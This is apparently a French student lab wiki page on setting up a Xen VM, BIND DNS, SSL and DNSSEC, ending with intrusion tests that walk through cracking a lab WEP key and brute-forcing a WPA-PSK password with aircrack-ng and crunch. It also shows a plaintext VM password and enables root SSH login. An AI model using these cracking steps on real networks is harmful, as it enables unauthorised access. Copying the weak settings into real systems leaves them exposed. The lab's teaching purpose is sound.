TP sysres IMA5 2021/2022 G5 : Différence entre versions

De Wiki d'activités IMA
(Sécurisation du site par certificat SSL)
(Configuration de Apache 2 en utilisant le certificat SSL de Gandi)
Ligne 254 : Ligne 254 :
  
 
===Configuration de Apache 2 en utilisant le certificat SSL de Gandi===
 
===Configuration de Apache 2 en utilisant le certificat SSL de Gandi===
 +
 +
*<code>Activer le module SSL</code>
 +
 +
a2enmod ssl
 +
 +
Le port 80 est écouté par défaut pour le HTTP. Nous voulons sécuriser le site avec un certificat SSL et devons donc utiliser le port 443 pour mettre HTTPS en place. On va donc remplacer :
 +
 +
<IfModule ssl_module>
 +
      Listen 443
 +
</IfModule>
 +
 +
par
 +
 +
<IfModule mod_ssl.c>
 +
        Listen 443
 +
</IfModule>
  
 
==Sécurisation de serveur DNS par DNSSEC==
 
==Sécurisation de serveur DNS par DNSSEC==

Version du 11 janvier 2022 à 16:01

BOURDAIN Hélène & VINGERE Camille

Plan d'adressage

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4/IPv6 6509E (E304) IPv4/IPv6 C9200 (E306) IPv4/IPv6 ISR4331 IPv4 @MV SSID VM
Helene / Camille 04 10.04.0.0/16 2001:7A8:116E:60B4::0/64 10.04.0.250 10.04.0.251 10.04.0.252 10.04.0.253 193.48.57.180/28 Tulipe Duff

Architecture réseau

Schéma global

Nous nous sommes occupés de l'installation physique du réseau.


Mise en place de la machine virtuelle

Création d'une machine virtuelle Xen

  • Connexion à capbreton
ssh root@capbreton
  • Changer la variable environnement pour le proxy
export http_proxy=http://proxy.plil.fr:3128
  • Création de la VM
xen-create-image --hostname=Duff --ip=193.48.57.180 --netmask=255.255.255.240 --gateway=193.48.57.190 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
 
* --hostname : nom de la VM
* --netmask : masque de sous-réseau
* --gateway : ip de la passerelle
* --dir : répertoire où les disques virtuels doivent être créés
* --password : mot de passe pour accéder à la VM
* --dist : distribution linux

Création des deux partitions LVM

  • Choisir le volume

Pour cela, on affiche les différents volumes disponible

vgdisplay

--- Volume group ---
 VG Name               storage
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  150
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                24
 Open LV               12
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <5.46 TiB
 PE Size               4.00 MiB
 Total PE              1430526
 Alloc PE / Size       45056 / 176.00 GiB
 Free  PE / Size       1385470 / <5.29 TiB
 VG UUID               eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc
  
 --- Volume group ---
 VG Name               virtual
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  333
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                56
 Open LV               49
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <1.82 TiB
 PE Size               4.00 MiB
 Total PE              476934
 Alloc PE / Size       143104 / 559.00 GiB
 Free  PE / Size       333830 / 1.27 TiB
 VG UUID               MS50AM-5UPD-Q5As-ZExy-nQYw-6zvq-Lftt6B
  
 --- Volume group ---
 VG Name               system
 System ID             
 Format                lvm2
 Metadata Areas        2
 Metadata Sequence No  2
 VG Access             read/write
 VG Status             resizable
 MAX LV                0
 Cur LV                1
 Open LV               1
 Max PV                0
 Cur PV                2
 Act PV                2
 VG Size               <834.18 GiB
 PE Size               4.00 MiB
 Total PE              213549
 Alloc PE / Size       213549 / <834.18 GiB
 Free  PE / Size       0 / 0   
 VG UUID               09LwR3-qOUI-z438-g1TX-RGan-Y0HU-zKjTj2

On a choisi d'utiliser storage car c'est celui avec le plus d'espace disponible.

  • On créé les deux LV
lvcreate -L10G -n Duff1 storage
lvcreate -L10G -n Duff2 storage

*-L : taille allouée
*-n : nom de la partition
*storage : volume choisi
  • On a formaté nos disques
mkfs.ext4 /dev/storage/Duff1
mkfs.ext4 /dev/storage/Duff2
  • On a modifié le fichier de configuration

Cela nous a permit d'ajouter nos deux LVM et ajouter le pont IMAsc

vim /etc/xen/Duff.cfg

root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/Duff/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Duff/swap.img,xvda1,w',
                 'phy:/dev/storage/Duff1,xvda3,w',
                 'phy:/dev/storage/Duff2,xvda4,w'
             ]
#  Networking
#
vif         = [ 'ip=193.48.57.180 ,mac=00:16:3E:28:98:56 ,bridge=IMA5sc' ]
  • On a ensuite lancé Duff
xl create -c /etc/xen/Duff.cfg

*-c : permet de spécifier le fichier de configuration
  • On a ensuite autorisé l'IPv6
vi /etc/network/interfaces
auto eth0 inet6 auto

Monter les disques dans la VM

  • Créer un point de montage
mkdir /mnt/xvda3
mkdir /mnt/xvda4

mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
  • On créé les deux partitions

Les deux partitions que nous allons créer sont /home et /var or dans /var il y a déjà des fichiers que nous allons déplacer dans notre /mnt/xvda4

mv /var/* /mnt/xvda4

On édite fstab afin d'ajouter nos deux disques

vi /etc/fstab

/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

*ext4 : type de formatage
  • On monte tout
mount -a

On peut ensuite voir tout nos disques

lsblk

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

Service Internet

SSH

  • Modifier le fichier /etc/ssh/sshd_config:
Décommenter Port X 
Autoriser le login root : PermitRootLogin Yes

X : numéro du port ssh = 22
  • Relancer le service SSH
service ssh restart

Serveur DNS

  • Nom de domaine :
Aller sur Gandi.net : 

Nom domaine : duff-tulipe.club
Blue record : ns1.duff-tulipe.club ip : 193.48.57.180
  • Modification de /etc/resolv.conf

On installe un serveur de noms sur notre machine, elle nous servira donc de nameserver

nameserver 127.0.0.1
  • Modification de /etc/bind/named.conf.local
zone "duff-tulipe.club" IN {
       type master;
       file "/etc/bind/db.duff-tulipe.club";
       allow-transfer { 217.70.177.40; };
};
  • Création de /etc/bind/db.duff-tulipe.club
$TTL    259200
@       IN      SOA     ns1.duff-tulipe.club. postmaster.duff-tulipe.club. (
                    2021121301         ; Incrementation date based
                         18000         ; Refresh every 5 hours
                         3600          ; Retry every hour
                        388000         ; Expire after 45 days
                        259200 )       ; Minimum TTL : 3 days
;
@       IN      NS      ns1.duff-tulipe.club.
@       IN      NS      ns6.gandi.net.
ns1     IN      A       193.48.57.180 
www     IN      A       193.48.57.180
        IN      AAAA    2001:660:4401:60b0:216:3eff:fe28:9856

* A : Nom attribué à une adresse de type IP V4
* AAAA : Nom attribué à une adresse de type IP V6
* NS : Le ou les serveurs de noms de la zone (IPV4)
* SOA : Démarre la configuration
* TTL : Time to Live

Sécurisation du site par certificat SSL

Nous avons généré les clés privés et publiques avec un niveau de hachage SHA256.

openssl req -nodes -newkey rsa:2048 -sha256 -keyout duff-tulipe.club.key -out duff-tulipe.club.csr

* duff-tulipe.club.key : clé privé
* duff-tulipe.club.csr : clé publique

Il faut ensuite faire une demande de signature sur gandi.net puis ajouter un enregistrement CNAME à notre DNS dans le fichier /etc/bind/db.duff-tulipe.club :

_81984CA0A14C2BF87A3DC60134F472F1.duff-tulipe.club. 10800 IN CNAME 9693CBB1C5FF588366B34976185CEF2D.CF6A4117B09D101A3558AB1B3B415A3F.3001ef257407d5a371a9.sectigo.com.

Le certificat est disponible sur gandi sous format .crt et il faut le placer dans /etc/ssl/certs. On doit également télécharger le certificat intermédiaire de gandi (GandiStandardSSLCA2.pem).

Configuration de Apache 2 en utilisant le certificat SSL de Gandi

  • Activer le module SSL
a2enmod ssl

Le port 80 est écouté par défaut pour le HTTP. Nous voulons sécuriser le site avec un certificat SSL et devons donc utiliser le port 443 pour mettre HTTPS en place. On va donc remplacer :

<IfModule ssl_module>
      Listen 443
</IfModule> 

par

<IfModule mod_ssl.c>
       Listen 443
</IfModule>

Sécurisation de serveur DNS par DNSSEC

  • Modification de /etc/binc/named.conf.options
Activer le DNSSEC pour Bind:
dnssec-enable yes;
  • Création de la clef asymétrique de signature de clefs de zone
Création du répertore /etc/bind/duff-tulipe.dnssec
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE duff-tulipe.club
Renommer la clef en :
duff-tulipe.club-ksk.key
duff-tulipe.club-ksk.private
  • Création la clef asymétrique de la zone pour signer les enregistrements
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE duff-tulipe.club

Renommer la clef en :
duff-tulipe.club-zsk.key
duff-tulipe.club-zsk.private
  • Inclusion des fichiers dans /etc/bind/db.duff-tulipe.club
$include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-ksk.key
$include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-zsk.key

On incrémente le numéro de version

@       IN      SOA     ns1.duff-tulipe.club. postmaster.duff-tulipe.club. (
                   2021121302         ; Incrementation date based
  • Signature des enregistrement de la zone
dnssec-signzone -o duff-tulipe.club -k duff-tulipe.club-ksk ../db.duff-tulipe.club duff-tulipe.club-zsk
  • Modification du ficher named.conf.local

Cela permet d'utiliser la zone signée, générée à l'étape précédente

zone "duff-tulipe.club" IN {
        type master;
        file "/etc/bind/db.duff-tulipe.club.signed";
        allow-transfer { 217.70.177.40; };
};
  • Communication de la partie publique

Copie du ficher duff-tulipe.club-ksk.key dans la partie DNSSEC de notre domaine sur gandi.net (KSK et algorithme RSA-SHA1)

  • Test

On lance la commande

dnssec-verify -o duff-tulipe.club db.duff-tulipe.club.signed
Loading zone 'duff-tulipe.club' from file 'db.duff-tulipe.club.signed'

Verifying the zone using the following algorithms:
- RSASHA1
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked

Tests d'intrusion

Cassage de clef WEP d’un point d’accès WiFi

  • Installation du paquet aircrack
apt install aircrack-ng
  • Affichage de notre interface réseau
 airmon-ng
  • Arrêter les process existant
airmon-ng check kill
  • Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal>

n°interface : wlan0mon
canal : 3
  • Récupération du BSSID du point d'accès
airodump-ng wlan0mon

permet d'écouter tous les paquets

On choisit une cracotte : cracotte05 => BSSID : 04:DA:D2:9C:50:54
  • Test d'injection

Après avoir récupéré le BSSID d'une des cracotte on réalise un test d'injection.

aireplay-ng -9 -e <nom_du_point_d_acces> -a <BSSID> <n°interface>
  • Capture des VI sur notre point d'accès dans un fichier
airodump-ng -c <canal> --bssid <BSSID> -w output <n°interface>

Il faut désormais ouvrir un nouveau terminal.

  • Associer l'interface réseau à notre point d'accès

Nous utilisons une fausse authentification pour nous connecter.

aireplay-ng -1 0 -e <nom_du_point_d_acces> -a <BSSID> -h <BSSID_interface_reseau> <n°interface>

nom pt acces : cracotte05
bssid: 04:DA:D2:9C:50:54
BSSID_interface_reseau : 40:A5:EF:01:35:79
n°interface : wlan0mon
  • Décryptage
aircrack-ng -b 04:DA:D2:9C:50:54 output*.cap

Va tester différentes clefs jusqu'à trouver la bonne (822 dans notre cas)

 KEY FOUND! [ 55:55:55:55:5A:BC:06:CB:A4:44:44:44:44]
Decrypted correctly: 100%

Cassage du mot de passe WPA-PSK par force brute

  • Affichage de notre interface réseau
airmon-ng

wlx40a5ef059e47
  • Arrêter les process existant
airmon-ng check kill
  • Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal>

n°interface : wlan0mon
canal : 3
  • Récupération du BSSID du point d'accès
airodump-ng wlan0mon

permet d'écouter tous les paquets

On choisit une kracotte (avec un "k" pour le WPA) : kracotte14 => BSSID : 44:AD:D9:5F:87:0D

On capture ensuite les VI générés par le point d'accès afin de capturer une Handshake dans un fichier psk :

airodump-ng -c 3 --bssid 44:AD:D9:5F:87:03 -w psk wlan0mon
*-c 3 : channel
*--bssid: BSSID de la kracotte

On créé ensuite un dictionnaire de toutes les combinaisons possibles de 8 chiffres avec l'aide de l'utilitaire crunch :

apt install crunch
crunch 8 8 0123456789 -o password.lst

*8 nombre min de caractères
*8 nombre max de caractères
*0123456789 : caractères utilisés pour les combinaisons
*-o : fichier de sortie

Une fois le chargement terminé nous obtenons ce résultat

[00:56:46] 59882312/100000000 keys tested (17564.32 k/s)

KEY FOUND! [ 59914999 ]


     Master Key     : B6 2C 87 9A 1D D2 52 1A 23 45 79 FA 95 2F 09 F0 
                      75 A4 0C D9 AD 3B 10 C3 2B F7 41 50 00 AF D5 9D 

     Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

     EAPOL HMAC     : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00